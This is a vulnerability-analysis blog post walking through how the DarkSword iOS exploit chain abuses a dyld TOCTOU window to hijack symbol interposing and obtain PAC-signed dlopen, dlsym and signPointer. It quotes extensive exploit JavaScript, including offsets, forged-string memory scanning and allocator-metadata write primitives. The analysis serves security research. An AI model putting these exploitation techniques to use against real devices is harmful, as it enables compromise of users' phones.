NashTech Blog

Vulnerability Analysis: Taking a look at the PAC bypass behind the DarkSword exploit chain – Part 2

Table of Contents

This is part 2 of the DarkSword’s PAC bypass vulnerability analysis series and will pick up where we left off in part 1. We will go over how DarkSword leverages the found Time-of-Check to Time-of-Use (TOCTOU) window in dlopen_from() to take over symbol interposing and “export” the addresses of dlopen() , dlsym() and signPointer().

Exploit Analysis

Hardcoded offsets

The DarkSword exploit code contains a massive list of hard-coded offsets and what I assume is a list of supported iOS devices, a simple string search for dyld yields the following result:

rce_offsets= {
    // dyld offsets
    dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n,
    dyld__RuntimeState_emptySlot : 0x1a9633b6cn,
    dyld__RuntimeState_vtable : 0x1f268ffb0n,
    dyld__signPointer : 0x1a95fd3e4n,
    
    // libdyld offsets
    libdyld__dlopen : 0x1ad42e7b8n,
    libdyld__dlsym : 0x1ad42fa34n,
    libdyld__gAPIs : 0x1ed3d0000n,
}

These offsets were likely extracted via static analysis of dyld and libdyld.dylib from dyld_shared_cache

  • libdyld: offset of dlopen()dlsym() and gAPIs.
  • dyld: offset of dlopen_from_lambda_retRuntimeState_emptySlotRuntimeState_vtable and the signPointer() function.

After gaining R/W primitive via CVE-2025-43529 inside the WebKit context, it is then leveraged to exploit CVE-2026-20700.

The gAPIs exposes the process’s global dyld::APIs instance:

class VIS_HIDDEN APIs : RUNTIME_STATE_INHERITANCE RuntimeState

By reading the address of gAPIs, the recovered object address can be treated as RuntimeState base, the exploit then dereferences the base address to get the runtimeState_vtable:

const runtimeState = p.read64(offsets.libdyld__gAPIs);
p.runtimeState = runtimeState;
const runtimeState_vtable = p.read64(runtimeState).noPAC();

Next, the exploit reads the first 8 bytes of the RuntimeState vtable using the read64() function, this results in it the address of the emptySlot() function.

In dyld4, emptySlot() occupies the first entry in the RuntimeState vtable

// DyldRuntimeState.h
namespace dyld4 {
    ...
    // this need to be virtual to be callable from libdyld.dylib
    virtual void                emptySlot() { } // cannot remove because it was change vtable of APIs
    ...
}

Once the RuntimeState object is obtained, the exploit reads the address to the runtimeStateLock (locks) and the address the InterposeTupleAll buffer and size.

const runtimeStateLock = p.read64(runtimeState + 0x70n);
p.runtimeStateLock = runtimeStateLock;
const p_InterposeTupleAll_buffer = runtimeState + 0xb8n;
p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer;
const p_InterposeTupleAll_size = runtimeState + 0xc0n;
p.p_InterposeTupleAll_size = p_InterposeTupleAll_size;

Custom functions

The exploit attempts scan the worker thread’s stack to search for a specific byte sequence. To achieve this, it creates 2 custom functions that leverages JavaScriptCore’s native string functions.

create_jsstring()

This custom function creates a fake JavaScript String object that maps arbitrary, controlled memory into the string API.

p.create_jsstring = function (ptr, size) {
    const res = 'a'.repeat(8);                        // aaaaaaaa - JSString object
    const str = p.read64(p.addrof(res) + 8n);         // Reads the internal pointer from the created string object
    p.write64(str, size << 32n | 0x1000n);            // Corrupts length and ref count
    p.write64(str + 8n, ptr);                         // Puts controlled data to buffer
    return res;                                       // Returns the corrupted string 
};
  • res: Creates a valid JSString object to corrupt
  • straddrof(res) gets the address of JSString object, +8 reaches the StringImplread64() simply dereferences the address.
  • First write64(): Corrupts the m_length and m_refCount fields, where the size (length) is stored in the upper 32-bits and refCount is set to 1000 and stored in the lower 32-bits
  • Second write64(): Corrupts the m_data8/m_data16 field with the attacker-controlled pointer.

Have a look at JSString structure and StringImplShape.

This custom function searches for the known byte sequence in an arbitrary region of process memory.

p.efficient_search = function (begin, end, bytes) {         // Takes begin - end memory range, bytes to find
    const needle = String.fromCharCode(...bytes);           // Create the needle
    const finder = p.create_jsstring(begin, end - begin);   // Get corrupted JSString object
    while (true) {
      const index = finder.indexOf(needle);                 // Searches memory region for byte sequence 
        if (index != -1) {
            return begin + BigInt(index);                   // Returns found address
        }
    }
};
  • needle: Construct search pattern from provided bytes sequence, interpreted as a UTF-16 string
  • finder: Create a forged JSString object whose underlying StringImpl character buffer points to the specified memory region (begin to end)
  • index: The offset of matched pattern, relative to begin
  • Return: The absolute address of the match begin + offset

Instead of repeatedly invoking the arbitrary read primitive to scan memory, the exploit performs a single StringImpl corruption, then delegates the search to JavaScriptCore’s highly optimised native indexOf() implementation, making the scan more efficient. (Hence the name?)

efficient_search() is later used to locate a known return address on the worker thread’s stack. Before this can be done, the exploit first calculates the return address of the target dyld function by recovering the relative relocation between JavaScriptCore and dyld.

Prepare the exploit

Dyld offset

During the stage 1 setup, the exploit leaks the runtime address of JavaScriptCore’s built-in parseFloat() function. By subtracting its known static virtual address from dyld_shared_cache with its runtime address, it recovers the JavaScriptCore slide. This slide allows the exploit to translate any statically known JavaScriptCore function into its runtime address.

/// RCE stage 1 setup
slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat;

Since the static and runtime address of RuntimeState::emptySlot() is already known, the exploit can calculate dyld_offset:

/// Calculate dyld ASLR delta 
const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide;

Scanning the stack frame

Despite the name, dyld_offset does not represent dyld’s ASLR slide. Rather, it’s the difference between the relocations applied to JavaScriptCore and dyld, allowing the exploit to calculate dyld’s runtime address from known JavaScriptCore’s slide.

With the delta known, the runtime address ofdlopen_from_lambda_ret can be calculated:

p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset;

With the dlopen_from_lambda_ret runtime address reconstructed, the 2 custom functions are called to scan the worker thread’s stack for the Loader*:

const stack_bottom = p.read64(worker.thread + 0x10n);
const stack_top = p.read64(worker.thread + 0x18n);
u64[0] = p.dlopen_from_lambda_ret;
const needle = [u8[0], u8[1], u8[2], u8[3]];
const search_result = p.efficient_search(stack_top, stack_bottom, needle);
const loader = search_result + 0x78n;
  • u64[0]: Reads the 64-bit address and stores the runtime address of dlopen_from_lambda_ret
  • needle: Extract the lower 4 bytes of the address, used to identify the saved LR on the stack
  • search_result: Calls efficient_search() to scan the worker thread’s stack for the byte sequence, supplying stack_top and stack_bottom (memory range) and needle (search pattern). The result is the address matching saved LR
  • loadersearch_result + 0x78 reaches a stack resident structure used during dlopen_from() processing.

If you recall, the unpatched version of dyld have created 2 stack allocated vectors via STACK_ALLOC_VECTOR() macro before dyld switches to the protected stack and temporarily suspends the regular stack context. I theorised that there was a TOCTOU window where another thread could find the suspended stack frame and modify the live vectors. This is exactly what the exploit is doing.

With that said, the dlopen_from_lambda_ret is the address of the suspended stack frame when dyld briefly enters the protected stack, and search_result + 0x78 (or loader) is either of those live vectors saved on the stack.

   1a95f1fac  68 E7 50 39   ldrb       w8, [x27, #0x439]
   1a95f1fb0  1F 05 00 71   cmp        w8, #0x1
   1a95f1fb4  C1 00 00 54   b.ne       LAB_1a95f1fcc
   1a95f1fb8  C8 0E 40 F9   ldr        x8, [x22, #0x18]
   1a95f1fbc  00 01 40 F9   ldr        this, [x8]
   1a95f1fc0  E1 03 1B AA   mov        x1, x27
   1a95f1fc4  3B 84 00 94   bl         dyld4::Loader::runInitializersBottomUpPlusUpwardLinks
   1a95f1fc8  0F 00 00 14   b          LAB_1a95f2004            <-- dlopen_from_lambda_ret
                             -------------------------------------------------------------
                                        LAB_1a95f2004
   1a95f2004  C8 0E 40 F9   ldr        x8, [x22, #0x18]
   1a95f2008  00 01 40 F9   ldr        this, [x8]
   1a95f200c  C8 1A 40 F9   ldr        x8, [x22, #0x30]
   1a95f2010  01 01 40 39   ldrb       w1, [x8]
   1a95f2014  67 88 00 94   bl         dyld4::handleFromLoader
   1a95f2018  C8 16 40 F9   ldr        x8, [x22, #0x28]
   1a95f201c  00 01 00 F9   str        this, [x8]

Preparing forged symbol interposing storage

Once the exploit located the saved dlopen_from() stack frame, it uses a Vector<T> stack resident to pivot to InterposeTupleAll. Rather than modifying each individual entries of InterposeTupleAll directly, it corrupts the metadata of the global Vector<InterposeTupleAll> so that it uses the backing buffer of the attacker-controlled interposingTuples, gaining control over the symbol interposing mechanism.

The exploit first allocates the backing storage that dyld will later interpret as an array of InterposeTupleAll objects.
InterposeTupleAll is a struct containing two pointer-sized fields:

struct InterposeTupleAll
{
    uintptr_t        replacement;
    uintptr_t        replacee;
};

The exploit creates a JavaScript array via BigUint64Array(0x100 * 2), which creates a backing storage of 256 InterposeTupleAll entries with 2 members each.

BigUint64Array.prototype.data = function () {
    return p.read64(p.addrof(this) + 0x10n);
};

const interposingTuples = new BigUint64Array(0x100 * 2);
p.interposingTuples = interposingTuples;
const interposingTuples_data_ptr = interposingTuples.data();
  • p.interposingTuples saves a reference to the created array for later use
  • interposingTuples_data_ptr holds the native pointer to the typed array’s backing storage, allowing the exploit to place a JavaScript-managed allocation directly behind a forged C++ pointer.

Forging the metadata

The exploit creates 2 fake AllocationMetadata objects:

const prev_metadata = new BigUint64Array(4);
const prev_metadata_data_ptr = prev_metadata.data();
p.prev_metadata = prev_metadata;
p.prev_metadata_data_ptr = prev_metadata_data_ptr;
prev_metadata[0] = prev_metadata_data_ptr;
prev_metadata[1] = 1n;
const metadata = new BigUint64Array(4);
const metadata_data_ptr = metadata.data();
p.metadata1 = metadata;
metadata[0] = prev_metadata_data_ptr;
metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n;

AllocationMetadata structure (lsl/Allocator.h#L683-L694)):

AllocationMetadata {
    uint64_t _prev;     // Low bit indicate if the pointer points to another metadata or pool
    uint64_t _next;     // Low bit indicate if the space between this and next metadata is free or used
}

The exploit sets up the metadata as:

  • prev_metadata->_prev = prev_metadata_data_ptr: Points to itself (low bit = 0)
  • prev_metadata->next = 1: Marked as allocated
  • metadata->_prev = prev_metadata_data_ptr: Points back to prev_metadata (low bit = 0)
  • metadata->_next = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1: controlled write via Allocator::free(), then or’ed 1 to set the low bit to 1 (allocated)

This causes metadata->pool() to traverse metadata->prev_metadata->_prev_metadata->… indefinitely after the controlled write has occured, trapping the current worker thread and preventing the allocator from continuing into invalid coalescing and validation logic.

Turning metadata->_next into a write

The metadata->_next, is used to shape the size() arithmetic before deallocate() reaches pool(), which turns the Allocator::free() into a controlled write primitive.

~Vector<T> calls resize(0), which eventually performs _allocator->free(_buffer); (Allocator.cpp#L668-L684)

void Allocator::free(void* ptr) {
    if ( !ptr ) { return; }
#if !DYLD_FEATURE_USE_INTERNAL_ALLOCATOR
    ::free(ptr);
#else
    ALLOCATOR_LOG("ALLOCATOR(0x%llx/%llu)\tfree:          (0x%llx)\n", (uint64_t)this, +_logID++, (uint64_t)ptr);
    ALLOCATOR_TRACE("allocator.free(alloc%llu);\n", (uint64_t)ptr);
    AllocationMetadata* metadata = AllocationMetadata::forPtr(ptr);
    _allocatedBytes -= metadata->size();
    metadata->deallocate();
    validate();
#endif /* !DYLD_FEATURE_USE_INTERNAL_ALLOCATOR */
}

uint64_t Allocator::AllocationMetadata::size() const {
    return ((_next & kNextBlockAddressMask) - ((uint64_t)this + sizeof(AllocationMetadata)));
}
  • kNextBlockAddressMask simply removes the two low metadata flag, leaving only the address of _next
  • metadata->size() is determined by subtracting the address immediately after the current metadata header from the masked address value encoded in _next

Since this points to metadata_data_ptr and sizeof(AllocationMetadata) is 0x10 bytes:
metadata->size() = (metadata_data_ptr + 0x10 - interposingTuples_data_ptr) - (metadata_data_ptr + 0x10)
metadata->size() = -interposingTuples_data_ptr
And since the result is uint64_t, this negative value is represented as an unsigned wrap around metadata->size() = 2^64 - interposingTuples_data_ptr.

The allocator later subtracts this wrapped value:
_allocatedBytes -= metadata->size(); -> _allocatedBytes += interposingTuples_data_ptr

Corrupting Vector<T>

The loader object is an lsl::Vector<T> resident in the suspended dlopen_from() stack frame:

struct Vector<T> {
    Allocator*  _allocator  // 0x0
    value_type* _buffer     // 0x8
    uint64_t    _size       // 0x10
    uint64_t    _capacity   // 0x18
}

The exploit would overwrite:

loader          -> Vector<T>::_allocator    = target_address - 0x10
loader + 8      -> Vector<T>::_buffer       = metadata_data_ptr + 0x10

When this corrupted vector is destroyed, the cleanup path will eventually reach _allocator->free(_buffer);
The layout of Allocator is:

Allocator {
    Pool*       _firstPool          // 0x0
    Pool*       _currentPool        // 0x8
    uint64_t    _allocatedBytes     // 0x10
    uint64_t    _logID              // 0x18
    bool        _bestFit            // 0x20
}

And inside the free(_buffer):

void Allocator::free(void* ptr) {
    if ( !ptr ) { return; }
    AllocationMetadata* metadata = AllocationMetadata::forPtr(ptr);
    _allocatedBytes -= metadata->size();
    metadata->deallocate();
    validate();
}

Allocator::AllocationMetadata* Allocator::AllocationMetadata::forPtr(void* ptr) {
    AllocationMetadata* castPtr = static_cast<AllocationMetadata*>(ptr);
    return castPtr-1;
}

The exploit controls 2 operands:

  • Forged Vector<T>->_allocator controls the location of _allocatedBytes
  • Forged AllocationMetadata->_next controls what values metadata->size() returns

The vector’s _allocator is set to target_address - 0x10, and _allocatedBytes is at 0x10:
Allocator->_allocatedBytes = (target_address - 0x10) + 0x10 => Allocator->_allocatedBytes = target_address

Because Allocator::free() expects a void* ptrforPtr(ptr) is used to cast it to AllocationMetadata. The castPtr-1 basically subtracts the current address with the size of AllocationMetadata, meaning forPtr() subtracts 0x10 from the pointer.

The vector’s _buffer is set to metadata_data_ptr + 0x10, this would become:
metadata = (metadata_data_ptr + 0x10) - 0x10 => metadata = metadata_data_ptr

The complete destruction flow would become:
~Vector<T>() -> resize(0) -> _allocator->free((void*)_buffer) -> _allocatedBytes -= metadata->size() -> controlled write done -> metadata->deallocate -> metadata->pool() -> loops metadata->prev_metadata->prev_metadata->…

Hijacking symbol interposing

Phase 1 – Corrupting InterposeTupleAll._buffer

In check_dlopen1, the exploit obtain a worker thread and targets the RuntimeState::InterposeTupleAll._buffer.

metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n;
p.write64(loader, p_InterposeTupleAll_buffer - 0x10n);
p.write64(loader + 8n, metadata_data_ptr + 0x10n);

The first write sets Vector<T>::_allocator = p_InterposeTupleAll_buffer - 0x10, and _allocatedBytes is at offset 0x10:
_allocatedBytes = (p_InterposeTupleAll_buffer - 0x10) + 0x10 causing _allocatedBytes to alias to p_InterposeTupleAll_buffer

The second write sets Vector<T>::_buffer = metadata_data_ptr + 0x10, causing forPtr(_buffer) to recover the forged metadata:
Vector<T>::_buffer = (metadata_data_ptr + 0x10) - 0x10 => Vector<T>::_buffer = metadata_data_ptr

Recall that the metadata->size() was shaped so that metadata->size() = -interposingTuples_data_ptr, therefore:
_allocatedBytes -= metadata->size() becomes p_InterposeTupleAll_buffer += interposingTuples_data_ptr or 

RuntimeState::InterposeTupleAll._buffer = interposingTuples_data_ptr (assuming buffer = null)

The exploit then triggers the loader path that allows the corrupted stack vector to reach its destructor:

await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice);

This call completes the phase 1 write, causing RuntimeState::InterposeTupleAll._buffer to point to interposingTuples_data_ptr. Dyld does not yet have a usable forged symbol interposing array as the Vector<T>::_size is not written yet.

Phase 2 – Corrupting the InterposeTupleAll._size

In check_dlopen2, the exploit obtains another thread and performs the address lookup just like before to obtain the loader from the saved dlopen_from() stack frame and targets the RuntimeState::InterposeTupleAll._size.

A new metadata object is created, but it points to the same persistent prev_metadata used in phase 1:

p.metadata1 = metadata;
metadata[0] = p.prev_metadata_data_ptr;
metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n;      // 0x100 matches the number of entries from p.interposingTuple
p.write64(loader, p.p_InterposeTupleAll_size - 0x10n);
p.write64(loader + 8n, metadata_data_ptr + 0x10n);

In this phase, the metadata->_next is shaped so that it causes metadata->size() to evaluate to -0x100. Since the forged allocator causes _allocatedBytes to overlap with Runtimestate::interposeTupleAll._size, it becomes:
_allocatedBytes -= metadata->size() => p_InterposeTupleAll_size += 0x100 or RuntimeState::InterposeTupleAll._size = 0x100 (assuming size = 0)

await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance);

With the _size field written, the global Vector<InterposeTupleAll> becomes:

  • RuntimeState::InterposeTupleAll._buffer = interposingTuples_data_ptr
  • RuntimeState::InterposeTupleAll._size = 0x100

Dyld now sees the typed-array backing storage as an array of 256 InterposeTupleAll objects.

The Signing Oracle

After triggering the phase 2 destructor path, the exploit populates interposingTuples array then polls _size until the second write occurs. It then triggers a separate WebCore/ImageIO path that causes dyld to consume the forged interpose entries:

let interpose_index = 0;
function interpose(ptr, val) {
    p.interposingTuples[interpose_index++] = val;
    p.interposingTuples[interpose_index++] = ptr;
}

Which matches the InterposeTupleAll struct.
Then, it maps the symbols it wants to be interposed by dyld, most notably:

interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym);
interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer);

And lastly, the exploit polls p_InterposeTupleAll_size to wait for the second vector destruction write to complete and confirms that the forged 256 entries vector is now visible to dyld.

while (p.read64(p.p_InterposeTupleAll_size) != 0x100n);         // polls _size field for when dyld have finished writing the desired value

Because dyld performs the symbol interposing via a legitimate arm64e binding machinery, the resulting interposed symbols for dlopen()dlsym() and signPointer() carries PAC-valid signatures expected by their destination slots and compatible indirect call paths.

Whilst the exploit has managed to “export” these function addresses, it cannot use them directly as it lives in the WebKit execution context. In part 3, we will go over how the exploit sets up the native calls and signs its own pointers.

References

  • https://cloud.google.com/blogs/topics/threat-intelligence/darksword-ios-exploit-chain
  • https://iverify.io/blogs/darksword-ios-exploit-kit-explained
  • https://www.lookout.com/threat-intelligence/article/darksword
  • https://karol-mazurek.medium.com/list/dyld-do-you-like-death-2a6bcc0d8827
Picture of Long Tran Phi

Long Tran Phi

Suggested Article

Scroll to Top